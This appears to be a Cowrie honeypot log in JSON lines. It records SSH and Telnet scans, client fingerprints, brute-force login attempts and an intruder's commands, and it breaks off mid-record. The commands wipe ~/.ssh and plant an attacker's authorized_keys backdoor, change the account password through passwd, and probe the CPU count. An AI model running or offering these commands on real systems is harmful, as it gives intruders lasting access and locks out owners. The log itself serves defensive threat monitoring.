{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":45146,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3edd8a45f79","protocol":"ssh","message":"New connection: 194.113.233.25:45146 (159.203.135.109:22) [session: d3edd8a45f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:42.956788Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:42.960660Z","src_ip":"194.113.233.25","session":"d3edd8a45f79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:43.053823Z","src_ip":"194.113.233.25","session":"d3edd8a45f79","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:43.181114Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sunrise","message":"login attempt [root/sunrise] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:43.338395Z","src_ip":"194.113.233.25","session":"d3edd8a45f79","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:43.482620Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:43.486092Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:43.737050Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:43.741301Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":34702,"dst_ip":"159.203.135.109","dst_port":22,"session":"115d45c3b417","protocol":"ssh","message":"New connection: 119.28.114.76:34702 (159.203.135.109:22) [session: 115d45c3b417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:43.969051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:43.973870Z","src_ip":"119.28.114.76","session":"115d45c3b417","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:44.210296Z","src_ip":"119.28.114.76","session":"115d45c3b417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:44.435038Z","src_ip":"194.113.233.25","session":"d3edd8a45f79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57132,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5879651e04a","protocol":"telnet","message":"New connection: 152.42.224.71:57132 (10.17.0.5:23) [session: d5879651e04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:44.458854Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58708,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1127a0aa8ca","protocol":"ssh","message":"New connection: 45.156.87.204:58708 (159.203.135.109:22) [session: c1127a0aa8ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:45.083138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:45.088602Z","src_ip":"45.156.87.204","session":"c1127a0aa8ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:45.170851Z","src_ip":"45.156.87.204","session":"c1127a0aa8ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:45.186648Z","src_ip":"119.28.114.76","session":"115d45c3b417","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:45.419291Z","src_ip":"45.156.87.204","session":"c1127a0aa8ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57138,"dst_ip":"10.17.0.5","dst_port":23,"session":"35b98965d41e","protocol":"telnet","message":"New connection: 152.42.224.71:57138 (10.17.0.5:23) [session: 35b98965d41e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:45.484829Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:46.425094Z","src_ip":"119.28.114.76","session":"115d45c3b417","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:46.507119Z","src_ip":"45.156.87.204","session":"c1127a0aa8ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.114.76","src_port":34712,"dst_ip":"159.203.135.109","dst_port":22,"session":"370ccda45ad3","protocol":"ssh","message":"New connection: 119.28.114.76:34712 (159.203.135.109:22) [session: 370ccda45ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:46.657768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:46.662040Z","src_ip":"119.28.114.76","session":"370ccda45ad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:46.898374Z","src_ip":"119.28.114.76","session":"370ccda45ad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:47.876508Z","src_ip":"119.28.114.76","session":"370ccda45ad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":58732,"dst_ip":"159.203.135.109","dst_port":22,"session":"4374e1cd52ad","protocol":"ssh","message":"New connection: 45.156.87.204:58732 (159.203.135.109:22) [session: 4374e1cd52ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:48.566748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:48.571416Z","src_ip":"45.156.87.204","session":"4374e1cd52ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:48.693263Z","src_ip":"45.156.87.204","session":"4374e1cd52ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56342,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d6409d11bca","protocol":"telnet","message":"New connection: 152.42.224.71:56342 (10.17.0.5:23) [session: 9d6409d11bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:48.839682Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:49.126952Z","src_ip":"119.28.114.76","session":"370ccda45ad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"12345","message":"login attempt [jenkins/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:49.280771Z","src_ip":"45.156.87.204","session":"4374e1cd52ad","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:49.424675Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:49.427910Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:49.917832Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:50.210340Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@2023\\neIXsFpuNwHFD\\neIXsFpuNwHFD\"|passwd|bash","message":"CMD: echo -e \"admin@2023\\neIXsFpuNwHFD\\neIXsFpuNwHFD\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:50.213473Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:50.216855Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:50.219427Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:50.369808Z","src_ip":"45.156.87.204","session":"4374e1cd52ad","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a4e523159c5fc33df247468e3ed88da3904163af602639ad7e6575235050ede3","size":32,"shasum":"a4e523159c5fc33df247468e3ed88da3904163af602639ad7e6575235050ede3","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/a4e523159c5fc33df247468e3ed88da3904163af602639ad7e6575235050ede3 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:50.708333Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:50.996074Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@2023\\neIXsFpuNwHFD\\neIXsFpuNwHFD\\n\"|passwd","message":"CMD: echo \"admin@2023\\neIXsFpuNwHFD\\neIXsFpuNwHFD\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:50.999012Z","src_ip":"119.28.114.76","session":"bf467a5688d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.151.211","src_port":39300,"dst_ip":"159.203.135.109","dst_port":22,"session":"3be22f349feb","protocol":"ssh","message":"New connection: 170.106.151.211:39300 (159.203.135.109:22) [session: 3be22f349feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:51.394420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:51:51.398768Z","src_ip":"170.106.151.211","session":"3be22f349feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 